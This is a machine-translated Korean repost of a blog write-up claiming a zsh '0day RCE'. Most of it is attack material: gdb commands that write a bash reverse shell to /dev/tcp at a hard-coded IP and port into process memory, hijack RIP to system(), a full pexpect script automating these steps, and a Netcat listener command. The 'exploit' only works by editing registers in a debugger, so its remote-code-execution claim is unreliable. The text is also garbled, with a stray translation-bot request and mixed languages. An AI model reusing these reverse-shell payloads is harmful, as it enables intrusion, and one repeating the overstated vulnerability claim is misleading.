내 Writeup (Zsh의 0day (RCE))

발행: (2025년 12월 20일 오후 01:49 GMT+9)
7 min read
원문: Dev.to

Source: Dev.to

번역을 진행하려면 실제 텍스트(본문 내용)를 제공해 주시겠어요?
본문을 알려주시면 요청하신 대로 한국어로 번역하고, 코드 블록·URL·마크다운 형식은 그대로 유지해 드리겠습니다.

익스플로잇 개요

작성자: Rana M. Sinan Adil (aka livepwn)
연령: 17

How it worked

I have two laptops, lp1 and lp2.

  1. I run the exploit on lp1, changing the IP address to the address of lp2.
  2. I start a Netcat listener on lp2.
  3. The exploit gives me a shell on lp1 that is reachable from lp2.

초기 발견

  • !!11111zsh: no such word in event
  • !!11111111111 은(는) 셸을 충돌시켰다.

디버깅 크래시

버그가 zsh 자체에 있는지, oh‑my‑zsh 스크립트에 있는지는 확실히 확인하기 위해 gdb(pwndbg 확장 사용)로 크래시를 조사했습니다.

gdb zsh -f               # start gdb with pwndbg
(gdb) run -f
(gdb) !!11111111111
  • gdb에서 해당 명령은 zsh: event not found 0을 출력했습니다.
  • 몇 차례 더 시도한 뒤, 다음과 유사한 메시지를 동반한 segmentation fault가 발생했습니다:
movsx r9, word ptr [r8 + rsi*2]  ; read from invalid memory at 0x5555555a1331

이는 히스토리 대체 파서에서 정수 오버플로우 메모리 손상 취약점이 성공적으로 트리거되었음을 보여줍니다.

익스플로잇 여정

  • RIP – 명령 포인터
  • RDI – 첫 번째 인자 레지스터 (우리 페이로드에 대한 포인터에 사용됨)
  • RSP – 스택 포인터

결국 RIPsystem()‑과 유사한 함수로 리디렉션했습니다.

메모리 분석 및 페이로드 주입

gdb를 사용하여 페이로드를 위한 쓰기 가능한 영역을 확인했습니다:

0x555555659000   ; chosen injection point
(gdb) info proc mappings               # list memory regions
(gdb) set {char[120]} 0x555555659000 = "bash -c \"bash -i >& /dev/tcp/IP/PORT 0>&1\""

위 명령은 역쉘 명령을 대상 주소에 기록합니다.

스택 포인터 댄스

프로그램이 우리 삽입한 코드로 돌아가게 하려면 스택을 조작했습니다:

# Overwrite a saved return address with a libc “system‑like” address
(gdb) set {long}0x7fffffffd868 = 0x7ffff7cc9110

# Point RDI to our shellcode
(gdb) set $rdi = 0x555555659000

# Create space for a fake return address
(gdb) set $rsp = $rsp - 8
  • $rsp는 현재 스택 프레임이 끝나는 위치를 CPU에 알려주는 “북마크”입니다.
  • 8바이트를 빼면 가짜 반환 주소를 심을 수 있는 새로운 슬롯이 만들어집니다.

Final Execution Hijack

이전 단계들을 수행한 뒤에도 실행 경로가 완전하지 않아 프로그램이 여전히 segfault했습니다. 설정을 마무리했습니다:

# Store a final fake return address
(gdb) set {long}$rsp = 0x55555555a000

# Redirect RIP to the libc `system`‑like function
(gdb) set $rip = 0x7ffff7cc9110   #  run -f
username% !              # any command, just to generate a history entry
username% !!11111111111  # trigger the crash
pwndbg> p system         # prints the address of `system` in libc

익스플로잇에 있는 주소 0x7ffff7cc9110p system 명령으로 출력된 값으로 교체하십시오.

익스플로잇 (Python + pexpect)

GitHub 저장소에서 자세한 내용을 확인할 수 있습니다:

import pexpect
import sys
import time

def debug_print(msg):
    print(f"[DEBUG] {msg}")

def return_to_gdb(gdb, max_attempts=3, timeout=3):
    """More reliable function to return to GDB prompt."""
    debug_print("Attempting to return to GDB…")
    for attempt in range(max_attempts):
        gdb.sendintr()                 # Send CTRL+C
        time.sleep(0.5)
        try:
            index = gdb.expect([b'pwndbg>', b'\(gdb\)', pexpect.TIMEOUT],
                               timeout=timeout)
            if index in [0, 1]:       # Found pwndbg> or (gdb) prompt
                debug_print("Successfully returned to GDB")
                return True
        except pexpect.EOF:
            debug_print("Session ended unexpectedly")
            return False

        debug_print(f"Attempt {attempt + 1} failed, retrying…")

    debug_print("Failed to return to GDB after maximum attempts")
    return False

# Start gdb with consistent bytes mode
gdb = pexpect.spawn('gdb -args zsh -f', timeout=30, encoding=None)
gdb.logfile = sys.stdout.buffer
debug_print("Starting GDB with zsh -f…")

try:
    gdb.expect(b'pwndbg>', timeout=10)
    debug_print("GDB started successfully")
except (pexpect.EOF, pexpect.TIMEOUT) as e:
    debug_print(f"GDB failed to start: {str(e)}")
    sys.exit(1)

# Run zsh and handle the shell
debug_print("Running zsh…")
gdb.sendline(b'run')
# ... (rest of the exploit script continues here)

스크립트는 위의 gdb 세션에서 보여진 것과 동일한 레지스터 조작 단계들을 계속해서 수행합니다.


즐기세요!

Source:

정리된 마크다운 내용

# Prompt definitions
shell_prompts = [b'% ', b'# ', b'\$ ', b'vuln>', b'vuln% ']

try:
    # Wait for a shell prompt or pwndbg prompt
    gdb.expect(shell_prompts + [b'pwndbg>'], timeout=10)
    debug_print("Shell started successfully")
except pexpect.TIMEOUT:
    debug_print("Timeout waiting for shell")
    gdb.sendintr()
    time.sleep(1)

# ----------------------------------------------------------------------
# Shell command execution
# ----------------------------------------------------------------------
if any(prompt in gdb.after for prompt in shell_prompts):
    for cmd in [b'!', b'!!11111111111']:
        debug_print(f"Sending: {cmd.decode('utf-8', errors='replace')}")
        gdb.sendline(cmd)
        try:
            gdb.expect(shell_prompts, timeout=3)
            debug_print("Command executed")
        except pexpect.TIMEOUT:
            debug_print("No response from command")

# Use the new return_to_gdb function
if not return_to_gdb(gdb):
    debug_print("Critical error - couldn't return to GDB")
    sys.exit(1)

# ----------------------------------------------------------------------
# Memory operations – simplified and more reliable
# ----------------------------------------------------------------------
if b'pwndbg>' in gdb.after:
    mem_commands = [
        b'x/s 0x555555659000',
        b'set {char[120]} 0x555555659000 = "bash -c \\"bash -i >& /dev/tcp/192.168.100.57/4444 0>&1\\""',
        b'set {long}0x7fffffffd868 = 0x7ffff7cc9110',
        b'set $rdi = 0x555555659000',
        b'set $rsp = $rsp - 8',
        b'continue',
        b'set {long}$rsp = 0x55555555a000',
        b'set $rip = 0x7ffff7cc9110',
        b'set $rdi = 0x555555659000',
        b'continue'
    ]

    for cmd in mem_commands:
        debug_print(f"Executing: {cmd.decode('utf-8', errors='replace')}")
        gdb.sendline(cmd)
        try:
            if b'continue' in cmd:
                gdb.expect([b'pwndbg>'] + shell_prompts, timeout=15)
            else:
                gdb.expect(b'pwndbg>', timeout=5)
        except pexpect.TIMEOUT:
            debug_print("Timeout - attempting to recover…")
            if not return_to_gdb(gdb):
                debug_print("Failed to recover after timeout")
                break

# ----------------------------------------------------------------------
# Final interactive mode
# ----------------------------------------------------------------------
debug_print("Complete - entering interactive")
try:
    gdb.logfile = None
    gdb.interact()
except Exception as e:
    debug_print(f"Interactive error: {str(e)}")
finally:
    gdb.close()

실행 방법

  1. 공격자 머신에서 Netcat 리스너를 시작합니다:

    nc -lnvp 4444
  2. 대상 머신에서 스크립트를 실행합니다 (위의 코드).


모든 것에 감사드립니다, 해커 여러분. 사이버 보안 분야에서 행복한 커리어를 기원합니다.

Back to Blog

관련 글

더 보기 »

창고 활용에 대한 종합 가이드

소개 창고는 근본적으로 3‑D 박스일 뿐입니다. Utilisation은 실제로 그 박스를 얼마나 사용하고 있는지를 측정하는 지표입니다. While logistics c...